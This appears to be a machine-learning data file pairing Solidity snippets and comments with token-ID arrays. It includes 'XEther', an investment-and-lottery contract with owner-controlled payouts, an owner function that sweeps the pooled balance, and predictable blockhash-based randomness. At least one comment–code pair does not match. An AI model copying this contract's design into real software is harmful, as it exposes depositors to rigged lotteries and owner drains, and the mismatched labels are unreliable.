[ 1, 565, 445, 4170, 359, 14727, 1435, 3903, 5024, 3849, 1338, 2996, 12, 3902, 27708, 67, 1457, 1693, 654, 13, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 389, 30250, 26923, 5621, 203, 3639, 2254, 5034, 19890, 41, 1303, 329, 273, 2545, 17631, 1060, 10808, 329, 31, 203, 3639, 309, 261, 266, 2913, 41, 1303, 329, 411, 463, 5996, 67, 2192, 51, 5321, 13, 288, 203, 5411, 327, 374, 31, 203, 3639, 289, 203, 203, 3639, 389, 13866, 17631, 14727, 12, 266, 2913, 41, 1303, 329, 1769, 203, 3639, 327, 389, 266, 6397, 382, 41, 451, 12, 266, 2913, 41, 1303, 329, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0x3A6d9BA21E5132af088AA22Bf9b137Bb9BfC7f2C/sources/contracts/simba.sol
6400 BAT tokens per 1 ETH
uint256 public constant tokenExchangeRate = 3200;
842,673
[ 1, 1105, 713, 605, 789, 2430, 1534, 404, 512, 2455, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 5381, 1147, 11688, 4727, 273, 3847, 713, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; contract Owned { address public aOwner; address public coOwner1; address public coOwner2; constructor() public { aOwner = msg.sender; coOwner1 = msg.sender; coOwner2 = msg.sender; } /* Modifiers */ modifier onlyOwner { require(msg.sender == aOwner || msg.sender == coOwner1 || msg.sender == coOwner2); _; } function setCoOwner1(address _coOwner) public onlyOwner { coOwner1 = _coOwner; } function setCoOwner2(address _coOwner) public onlyOwner { coOwner2 = _coOwner; } } contract XEther is Owned { /* Structurs and variables */ uint256 public totalInvestmentAmount = 0; uint256 public ownerFeePercent = 50; // 5% uint256 public investorsFeePercent = 130; // 13% uint256 public curIteration = 1; uint256 public depositsCount = 0; uint256 public investorsCount = 1; uint256 public bankAmount = 0; uint256 public feeAmount = 0; uint256 public toGwei = 1000000000; // or 1e9, helper vars uint256 public minDepositAmount = 20000000; // minimum deposit uint256 public minLotteryAmount = 100000000; // minimum to participate in lottery uint256 public minInvestmentAmount = 5 ether; // min for investment bool public isWipeAllowed = true; // wipe only if bank almost became empty uint256 public investorsCountLimit = 7; // maximum investors uint256 public lastTransaction = now; // Stage variables uint256 private stageStartTime = now; uint private currentStage = 1; uint private stageTime = 86400; // time of stage in minutes uint private stageMin = 0; uint private stageMax = 72; // lottery uint256 public jackpotBalance = 0; uint256 public jackpotPercent = 20; // 2% uint256 _seed; // Deposits mapping mapping(uint256 => address) public depContractidToAddress; mapping(uint256 => uint256) public depContractidToAmount; mapping(uint256 => bool) public depContractidToLottery; // Investors mapping mapping(uint256 => address) public investorsAddress; mapping(uint256 => uint256) public investorsInvested; mapping(uint256 => uint256) public investorsComissionPercent; mapping(uint256 => uint256) public investorsEarned; /* Events */ event EvDebug ( uint amount ); /* New income transaction*/ event EvNewDeposit ( uint256 iteration, uint256 bankAmount, uint256 index, address sender, uint256 amount, uint256 multiplier, uint256 time ); /* New investment added */ event EvNewInvestment ( uint256 iteration, uint256 bankAmount, uint256 index, address sender, uint256 amount, uint256[] investorsFee ); /* Collect investors earned, when some one get payment */ event EvInvestorsComission ( uint256 iteration, uint256[] investorsComission ); /* Bank amount increased */ event EvUpdateBankAmount ( uint256 iteration, uint256 deposited, uint256 balance ); /* Payout for deposit */ event EvDepositPayout ( uint256 iteration, uint256 bankAmount, uint256 index, address receiver, uint256 amount, uint256 fee, uint256 jackpotBalance ); /* newIteration */ event EvNewIteration ( uint256 iteration ); /* No more funds in the bank, need actions (e.g. new iteration) */ event EvBankBecomeEmpty ( uint256 iteration, uint256 index, address receiver, uint256 payoutAmount, uint256 bankAmount ); /* Investor get payment */ event EvInvestorPayout ( uint256 iteration, uint256 bankAmount, uint256 index, uint256 amount, bool status ); /* Investors get payment */ event EvInvestorsPayout ( uint256 iteration, uint256 bankAmount, uint256[] payouts, bool[] statuses ); /* New stage - time of withdraw is tapered */ event EvStageChanged ( uint256 iteration, uint timeDiff, uint stage ); /* Lottery numbers */ event EvLotteryWin ( uint256 iteration, uint256 contractId, address winer, uint256 amount ); /* Check address with code*/ event EvConfimAddress ( address sender, bytes16 code ); /* Lottery numbers */ event EvLotteryNumbers ( uint256 iteration, uint256 index, uint256[] lotteryNumbers ); /* Manually update Jackpot amount */ event EvUpdateJackpot ( uint256 iteration, uint256 amount, uint256 balance ); /*---------- constructor ------------*/ constructor() public { investorsAddress[0] = aOwner; investorsInvested[0] = 0; investorsComissionPercent[0] = 0; investorsEarned[0] = 0; } /*--------------- public methods -----------------*/ function() public payable { require(msg.value > 0 && msg.sender != address(0)); uint256 amount = msg.value / toGwei; // convert to gwei if (amount >= minDepositAmount) { lastTransaction = block.timestamp; newDeposit(msg.sender, amount); } else { bankAmount += amount; } } function newIteration() public onlyOwner { require(isWipeAllowed); payoutInvestors(); investorsInvested[0] = 0; investorsCount = 1; totalInvestmentAmount = 0; bankAmount = 0; feeAmount = 0; depositsCount = 0; // Stage vars update currentStage = 1; stageStartTime = now; stageMin = 0; stageMax = 72; curIteration += 1; emit EvNewIteration(curIteration); uint256 realBalance = address(this).balance - (jackpotBalance * toGwei); if (realBalance > 0) { aOwner.transfer(realBalance); } } function updateBankAmount() public onlyOwner payable { require(msg.value > 0 && msg.sender != address(0)); uint256 amount = msg.value / toGwei; isWipeAllowed = false; bankAmount += amount; totalInvestmentAmount += amount; emit EvUpdateBankAmount(curIteration, amount, bankAmount); recalcInvestorsFee(msg.sender, amount); } function newInvestment() public payable { require(msg.value >= minInvestmentAmount && msg.sender != address(0)); address sender = msg.sender; uint256 investmentAmount = msg.value / toGwei; // convert to gwei addInvestment(sender, investmentAmount); } /* Payout */ function depositPayout(uint depositIndex, uint pAmount) public onlyOwner returns(bool) { require(depositIndex < depositsCount && depositIndex >= 0 && depContractidToAmount[depositIndex] > 0); require(pAmount <= 5); uint256 payoutAmount = depContractidToAmount[depositIndex]; payoutAmount += (payoutAmount * pAmount) / 100; if (payoutAmount > bankAmount) { isWipeAllowed = true; // event payment not enaught bank amount emit EvBankBecomeEmpty(curIteration, depositIndex, depContractidToAddress[depositIndex], payoutAmount, bankAmount); return false; } uint256 ownerComission = (payoutAmount * ownerFeePercent) / 1000; investorsEarned[0] += ownerComission; uint256 addToJackpot = (payoutAmount * jackpotPercent) / 1000; jackpotBalance += addToJackpot; uint256 investorsComission = (payoutAmount * investorsFeePercent) / 1000; uint256 payoutComission = ownerComission + addToJackpot + investorsComission; uint256 paymentAmount = payoutAmount - payoutComission; bankAmount -= payoutAmount; feeAmount += ownerComission + investorsComission; emit EvDepositPayout(curIteration, bankAmount, depositIndex, depContractidToAddress[depositIndex], paymentAmount, payoutComission, jackpotBalance); updateInvestorsComission(investorsComission); depContractidToAmount[depositIndex] = 0; paymentAmount *= toGwei; // get back to wei depContractidToAddress[depositIndex].transfer(paymentAmount); if (depContractidToLottery[depositIndex]) { lottery(depContractidToAddress[depositIndex], depositIndex); } return true; } /* Payout to investors */ function payoutInvestors() public { uint256 paymentAmount = 0; bool isSuccess = false; uint256[] memory payouts = new uint256[](investorsCount); bool[] memory statuses = new bool[](investorsCount); uint256 mFeeAmount = feeAmount; uint256 iteration = curIteration; for (uint256 i = 0; i < investorsCount; i++) { uint256 iEarned = investorsEarned[i]; if (iEarned == 0) { continue; } paymentAmount = iEarned * toGwei; // get back to wei mFeeAmount -= iEarned; investorsEarned[i] = 0; isSuccess = investorsAddress[i].send(paymentAmount); payouts[i] = iEarned; statuses[i] = isSuccess; } emit EvInvestorsPayout(iteration, bankAmount, payouts, statuses); feeAmount = mFeeAmount; } /* Payout to investor */ function payoutInvestor(uint256 investorId) public { require (investorId < investorsCount && investorsEarned[investorId] > 0); uint256 paymentAmount = investorsEarned[investorId] * toGwei; // get back to wei feeAmount -= investorsEarned[investorId]; investorsEarned[investorId] = 0; bool isSuccess = investorsAddress[investorId].send(paymentAmount); emit EvInvestorPayout(curIteration, bankAmount, investorId, paymentAmount, isSuccess); } /* Helper function to check sender */ function confirmAddress(bytes16 code) public { emit EvConfimAddress(msg.sender, code); } /* Show depositers and investors info */ function depositInfo(uint256 contractId) view public returns(address _address, uint256 _amount, bool _participateInLottery) { return (depContractidToAddress[contractId], depContractidToAmount[contractId] * toGwei, depContractidToLottery[contractId]); } /* Show investors info by id */ function investorInfo(uint256 contractId) view public returns( address _address, uint256 _invested, uint256 _comissionPercent, uint256 earned ) { return (investorsAddress[contractId], investorsInvested[contractId] * toGwei, investorsComissionPercent[contractId], investorsEarned[contractId] * toGwei); } function showBankAmount() view public returns(uint256 _bankAmount) { return bankAmount * toGwei; } function showInvestorsComission() view public returns(uint256 _investorsComission) { return feeAmount * toGwei; } function showJackpotBalance() view public returns(uint256 _jackpotBalance) { return jackpotBalance * toGwei; } function showStats() view public returns( uint256 _ownerFeePercent, uint256 _investorsFeePercent, uint256 _jackpotPercent, uint256 _minDepositAmount, uint256 _minLotteryAmount,uint256 _minInvestmentAmount, string info ) { return (ownerFeePercent, investorsFeePercent, jackpotPercent, minDepositAmount * toGwei, minLotteryAmount * toGwei, minInvestmentAmount, 'To get real percentages divide them to 10'); } /* Function to change variables */ function updateJackpotBalance() public onlyOwner payable { require(msg.value > 0 && msg.sender != address(0)); jackpotBalance += msg.value / toGwei; emit EvUpdateJackpot(curIteration, msg.value, jackpotBalance); } /* Allow withdraw jackpot only if there are no transactions more then month*/ function withdrawJackpotBalance(uint amount) public onlyOwner { require(jackpotBalance >= amount / toGwei && msg.sender != address(0)); // withdraw jacpot if no one dont play more then month require(now - lastTransaction > 4 weeks); uint256 tmpJP = amount / toGwei; jackpotBalance -= tmpJP; // Lottery payment aOwner.transfer(amount); emit EvUpdateJackpot(curIteration, amount, jackpotBalance); } /*--------------- private methods -----------------*/ function newDeposit(address _address, uint depositAmount) private { uint256 randMulti = random(100) + 200; uint256 rndX = random(1480); uint256 _time = getRandomTime(rndX); // Check is depositer hit the bonus number. Else return old multiplier. randMulti = checkForBonuses(rndX, randMulti); uint256 contractid = depositsCount; depContractidToAddress[contractid] = _address; depContractidToAmount[contractid] = (depositAmount * randMulti) / 100; depContractidToLottery[contractid] = depositAmount >= minLotteryAmount; depositsCount++; bankAmount += depositAmount; emit EvNewDeposit(curIteration, bankAmount, contractid, _address, depositAmount, randMulti, _time); } function addInvestment(address sender, uint256 investmentAmount) private { require( (totalInvestmentAmount < totalInvestmentAmount + investmentAmount) && (bankAmount < bankAmount + investmentAmount) ); totalInvestmentAmount += investmentAmount; bankAmount += investmentAmount; recalcInvestorsFee(sender, investmentAmount); } function recalcInvestorsFee(address sender, uint256 investmentAmount) private { uint256 investorIndex = 0; bool isNewInvestor = true; uint256 investorFeePercent = 0; uint256[] memory investorsFee = new uint256[](investorsCount+1); for (uint256 i = 0; i < investorsCount; i++) { if (investorsAddress[i] == sender) { investorIndex = i; isNewInvestor = false; investorsInvested[i] += investmentAmount; } investorFeePercent = percent(investorsInvested[i], totalInvestmentAmount, 3); investorsComissionPercent[i] = investorFeePercent; investorsFee[i] = investorFeePercent; } if (isNewInvestor) { if (investorsCount > investorsCountLimit) revert(); // Limit investors count investorFeePercent = percent(investmentAmount, totalInvestmentAmount, 3); investorIndex = investorsCount; investorsAddress[investorIndex] = sender; investorsInvested[investorIndex] = investmentAmount; investorsComissionPercent[investorIndex] = investorFeePercent; investorsEarned[investorIndex] = 0; investorsFee[investorIndex] = investorFeePercent; investorsCount++; } emit EvNewInvestment(curIteration, bankAmount, investorIndex, sender, investmentAmount, investorsFee); } function updateInvestorsComission(uint256 amount) private { uint256 investorsTotalIncome = 0; uint256[] memory investorsComission = new uint256[](investorsCount); for (uint256 i = 1; i < investorsCount; i++) { uint256 investorIncome = (amount * investorsComissionPercent[i]) / 1000; investorsEarned[i] += investorIncome; investorsComission[i] = investorsEarned[i]; investorsTotalIncome += investorIncome; } investorsEarned[0] += amount - investorsTotalIncome; emit EvInvestorsComission(curIteration, investorsComission); } function percent(uint numerator, uint denominator, uint precision) private pure returns(uint quotient) { uint _numerator = numerator * 10 ** (precision+1); uint _quotient = ((_numerator / denominator) + 5) / 10; return (_quotient); } function random(uint numMax) private returns (uint256 result) { _seed = uint256(keccak256(abi.encodePacked( _seed, blockhash(block.number - 1), block.coinbase, block.difficulty ))); return _seed % numMax; } function getRandomTime(uint num) private returns (uint256 result) { uint rndHours = random(68) + 4; result = 72 - (2 ** ((num + 240) / 60) + 240) % rndHours; checkStageCondition(); result = numStageRecalc(result); return (result < 4) ? 4 : result; } function checkForBonuses(uint256 number, uint256 multiplier) private pure returns (uint256 newMultiplier) { if (number == 8) return 1000; if (number == 12) return 900; if (number == 25) return 800; if (number == 37) return 700; if (number == 42) return 600; if (number == 51) return 500; if (number == 63 || number == 65 || number == 67) { return 400; } return multiplier; } /* * Check for time of current stage, in case of timeDiff bigger then stage time * new stage states set. */ function checkStageCondition() private { uint timeDiff = now - stageStartTime; if (timeDiff > stageTime && currentStage < 3) { currentStage++; stageMin += 10; stageMax -= 10; stageStartTime = now; emit EvStageChanged(curIteration, timeDiff, currentStage); } } /* * Recalculate hours regarding current stage and counting chance of bonus. */ function numStageRecalc(uint256 curHours) private returns (uint256 result) { uint chance = random(110) + 1; if (currentStage > 1 && chance % 9 != 0) { if (curHours > stageMax) return stageMax; if (curHours < stageMin) return stageMin; } return curHours; } /* * Lottery main function */ function lottery(address sender, uint256 index) private { bool lotteryWin = false; uint256[] memory lotteryNumbers = new uint256[](7); (lotteryWin, lotteryNumbers) = randomizerLottery(blockhash(block.number - 1), sender); emit EvLotteryNumbers(curIteration, index, lotteryNumbers); if (lotteryWin) { emit EvLotteryWin(curIteration, index, sender, jackpotBalance); uint256 tmpJP = jackpotBalance * toGwei; // get back to wei jackpotBalance = 0; // Lottery payment sender.transfer(tmpJP); } } /* * Lottery generator numbers by given hash. */ function randomizerLottery(bytes32 hash, address sender) private returns(bool, uint256[] memory) { uint256[] memory lotteryNumbers = new uint256[](7); bytes32 userHash = keccak256(abi.encodePacked( hash, sender, random(999) )); bool win = true; for (uint i = 0; i < 7; i++) { uint position = i + random(1); bytes1 charAtPos = charAt(userHash, position); uint8 firstNums = getLastN(charAtPos, 4); uint firstNumInt = uint(firstNums); if (firstNumInt > 9) { firstNumInt = 16 - firstNumInt; } lotteryNumbers[i] = firstNumInt; if (firstNums != 7) { win = false; } } return (win, lotteryNumbers); } function charAt(bytes32 b, uint char) private pure returns (bytes1) { return bytes1(uint8(uint(b) / (2**((31 - char) * 8)))); } function getLastN(bytes1 a, uint8 n) private pure returns (uint8) { uint8 lastN = uint8(a) % uint8(2) ** n; return lastN; } }
Payout */ event payment not enaught bank amount
function depositPayout(uint depositIndex, uint pAmount) public onlyOwner returns(bool) { require(depositIndex < depositsCount && depositIndex >= 0 && depContractidToAmount[depositIndex] > 0); require(pAmount <= 5); uint256 payoutAmount = depContractidToAmount[depositIndex]; payoutAmount += (payoutAmount * pAmount) / 100; if (payoutAmount > bankAmount) { isWipeAllowed = true; emit EvBankBecomeEmpty(curIteration, depositIndex, depContractidToAddress[depositIndex], payoutAmount, bankAmount); return false; } uint256 ownerComission = (payoutAmount * ownerFeePercent) / 1000; investorsEarned[0] += ownerComission; uint256 addToJackpot = (payoutAmount * jackpotPercent) / 1000; jackpotBalance += addToJackpot; uint256 investorsComission = (payoutAmount * investorsFeePercent) / 1000; uint256 payoutComission = ownerComission + addToJackpot + investorsComission; uint256 paymentAmount = payoutAmount - payoutComission; bankAmount -= payoutAmount; feeAmount += ownerComission + investorsComission; emit EvDepositPayout(curIteration, bankAmount, depositIndex, depContractidToAddress[depositIndex], paymentAmount, payoutComission, jackpotBalance); updateInvestorsComission(investorsComission); depContractidToAmount[depositIndex] = 0; depContractidToAddress[depositIndex].transfer(paymentAmount); if (depContractidToLottery[depositIndex]) { lottery(depContractidToAddress[depositIndex], depositIndex); } return true; }
1,715,638
[ 1, 52, 2012, 342, 871, 5184, 486, 570, 16510, 11218, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 443, 1724, 52, 2012, 12, 11890, 443, 1724, 1016, 16, 2254, 293, 6275, 13, 1071, 1338, 5541, 1135, 12, 6430, 13, 288, 203, 3639, 2583, 12, 323, 1724, 1016, 411, 443, 917, 1282, 1380, 597, 443, 1724, 1016, 1545, 374, 597, 5993, 8924, 350, 774, 6275, 63, 323, 1724, 1016, 65, 405, 374, 1769, 203, 3639, 2583, 12, 84, 6275, 1648, 1381, 1769, 203, 203, 3639, 2254, 5034, 293, 2012, 6275, 273, 5993, 8924, 350, 774, 6275, 63, 323, 1724, 1016, 15533, 203, 3639, 293, 2012, 6275, 1011, 261, 84, 2012, 6275, 380, 293, 6275, 13, 342, 2130, 31, 203, 203, 3639, 309, 261, 84, 2012, 6275, 405, 11218, 6275, 13, 288, 203, 5411, 353, 59, 3151, 5042, 273, 638, 31, 203, 5411, 3626, 30964, 16040, 38, 557, 1742, 1921, 12, 1397, 10795, 16, 443, 1724, 1016, 16, 5993, 8924, 350, 774, 1887, 63, 323, 1724, 1016, 6487, 293, 2012, 6275, 16, 11218, 6275, 1769, 203, 5411, 327, 629, 31, 203, 3639, 289, 203, 203, 3639, 2254, 5034, 3410, 799, 19710, 273, 261, 84, 2012, 6275, 380, 3410, 14667, 8410, 13, 342, 4336, 31, 203, 3639, 2198, 395, 1383, 41, 1303, 329, 63, 20, 65, 1011, 3410, 799, 19710, 31, 203, 203, 3639, 2254, 5034, 9604, 46, 484, 13130, 273, 261, 84, 2012, 6275, 380, 525, 484, 13130, 8410, 13, 342, 4336, 31, 203, 3639, 525, 484, 13130, 13937, 1011, 9604, 46, 484, 13130, 31, 203, 203, 3639, 2254, 5034, 2198, 395, 1383, 799, 19710, 273, 261, 84, 2012, 6275, 380, 2198, 2 ]
//Address: 0x15dd447b5ecf63432909a4655037b43898fabf19 //Contract name: EmojiToken //Balance: 0.006539184163646544 Ether //Verification Date: 2/17/2018 //Transacion Count: 2682 // CODE STARTS HERE pragma solidity ^0.4.18; /* * @title String & slice utility library for Solidity contracts. * @author Nick Johnson <[email protected]> * * @dev Functionality in this library is largely implemented using an * abstraction called a 'slice'. A slice represents a part of a string - * anything from the entire string to a single character, or even no * characters at all (a 0-length slice). Since a slice only has to specify * an offset and a length, copying and manipulating slices is a lot less * expensive than copying and manipulating the strings they reference. * * To further reduce gas costs, most functions on slice that need to return * a slice modify the original one instead of allocating a new one; for * instance, `s.split(".")` will return the text up to the first '.', * modifying s to only contain the remainder of the string after the '.'. * In situations where you do not want to modify the original slice, you * can make a copy first with `.copy()`, for example: * `s.copy().split(".")`. Try and avoid using this idiom in loops; since * Solidity has no memory management, it will result in allocating many * short-lived slices that are later discarded. * * Functions that return two slices come in two versions: a non-allocating * version that takes the second slice as an argument, modifying it in * place, and an allocating version that allocates and returns the second * slice; see `nextRune` for example. * * Functions that have to copy string data will return strings rather than * slices; these can be cast back to slices for further processing if * required. * * For convenience, some functions are provided with non-modifying * variants that create a new slice and return both; for instance, * `s.splitNew('.')` leaves s unmodified, and returns two values * corresponding to the left and right parts of the string. */ library strings { struct slice { uint _len; uint _ptr; } function memcpy(uint dest, uint src, uint len) private { // Copy word-length chunks while possible for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } /* * @dev Returns a slice containing the entire string. * @param self The string to make a slice from. * @return A newly allocated slice containing the entire string. */ function toSlice(string self) internal returns (slice) { uint ptr; assembly { ptr := add(self, 0x20) } return slice(bytes(self).length, ptr); } /* * @dev Returns the length of a null-terminated bytes32 string. * @param self The value to find the length of. * @return The length of the string, from 0 to 32. */ function len(bytes32 self) internal returns (uint) { uint ret; if (self == 0) return 0; if (self & 0xffffffffffffffffffffffffffffffff == 0) { ret += 16; self = bytes32(uint(self) / 0x100000000000000000000000000000000); } if (self & 0xffffffffffffffff == 0) { ret += 8; self = bytes32(uint(self) / 0x10000000000000000); } if (self & 0xffffffff == 0) { ret += 4; self = bytes32(uint(self) / 0x100000000); } if (self & 0xffff == 0) { ret += 2; self = bytes32(uint(self) / 0x10000); } if (self & 0xff == 0) { ret += 1; } return 32 - ret; } /* * @dev Returns a slice containing the entire bytes32, interpreted as a * null-termintaed utf-8 string. * @param self The bytes32 value to convert to a slice. * @return A new slice containing the value of the input argument up to the * first null. */ function toSliceB32(bytes32 self) internal returns (slice ret) { // Allocate space for `self` in memory, copy it there, and point ret at it assembly { let ptr := mload(0x40) mstore(0x40, add(ptr, 0x20)) mstore(ptr, self) mstore(add(ret, 0x20), ptr) } ret._len = len(self); } /* * @dev Returns a new slice containing the same data as the current slice. * @param self The slice to copy. * @return A new slice containing the same data as `self`. */ function copy(slice self) internal returns (slice) { return slice(self._len, self._ptr); } /* * @dev Copies a slice to a new string. * @param self The slice to copy. * @return A newly allocated string containing the slice's text. */ function toString(slice self) internal returns (string) { var ret = new string(self._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); return ret; } /* * @dev Returns the length in runes of the slice. Note that this operation * takes time proportional to the length of the slice; avoid using it * in loops, and call `slice.empty()` if you only need to know whether * the slice is empty or not. * @param self The slice to operate on. * @return The length of the slice in runes. */ function len(slice self) internal returns (uint l) { // Starting at ptr-31 means the LSB will be the byte we care about var ptr = self._ptr - 31; var end = ptr + self._len; for (l = 0; ptr < end; l++) { uint8 b; assembly { b := and(mload(ptr), 0xFF) } if (b < 0x80) { ptr += 1; } else if(b < 0xE0) { ptr += 2; } else if(b < 0xF0) { ptr += 3; } else if(b < 0xF8) { ptr += 4; } else if(b < 0xFC) { ptr += 5; } else { ptr += 6; } } } /* * @dev Returns true if the slice is empty (has a length of 0). * @param self The slice to operate on. * @return True if the slice is empty, False otherwise. */ function empty(slice self) internal returns (bool) { return self._len == 0; } /* * @dev Returns a positive number if `other` comes lexicographically after * `self`, a negative number if it comes before, or zero if the * contents of the two slices are equal. Comparison is done per-rune, * on unicode codepoints. * @param self The first slice to compare. * @param other The second slice to compare. * @return The result of the comparison. */ function compare(slice self, slice other) internal returns (int) { uint shortest = self._len; if (other._len < self._len) shortest = other._len; var selfptr = self._ptr; var otherptr = other._ptr; for (uint idx = 0; idx < shortest; idx += 32) { uint a; uint b; assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant bytes and check again uint mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); var diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(self._len) - int(other._len); } /* * @dev Returns true if the two slices contain the same text. * @param self The first slice to compare. * @param self The second slice to compare. * @return True if the slices are equal, false otherwise. */ function equals(slice self, slice other) internal returns (bool) { return compare(self, other) == 0; } /* * @dev Extracts the first rune in the slice into `rune`, advancing the * slice to point to the next rune and returning `self`. * @param self The slice to operate on. * @param rune The slice that will contain the first rune. * @return `rune`. */ function nextRune(slice self, slice rune) internal returns (slice) { rune._ptr = self._ptr; if (self._len == 0) { rune._len = 0; return rune; } uint len; uint b; // Load the first byte of the rune into the LSBs of b assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) } if (b < 0x80) { len = 1; } else if(b < 0xE0) { len = 2; } else if(b < 0xF0) { len = 3; } else { len = 4; } // Check for truncated codepoints if (len > self._len) { rune._len = self._len; self._ptr += self._len; self._len = 0; return rune; } self._ptr += len; self._len -= len; rune._len = len; return rune; } /* * @dev Returns the first rune in the slice, advancing the slice to point * to the next rune. * @param self The slice to operate on. * @return A slice containing only the first rune from `self`. */ function nextRune(slice self) internal returns (slice ret) { nextRune(self, ret); } /* * @dev Returns the number of the first codepoint in the slice. * @param self The slice to operate on. * @return The number of the first codepoint in the slice. */ function ord(slice self) internal returns (uint ret) { if (self._len == 0) { return 0; } uint word; uint length; uint divisor = 2 ** 248; // Load the rune into the 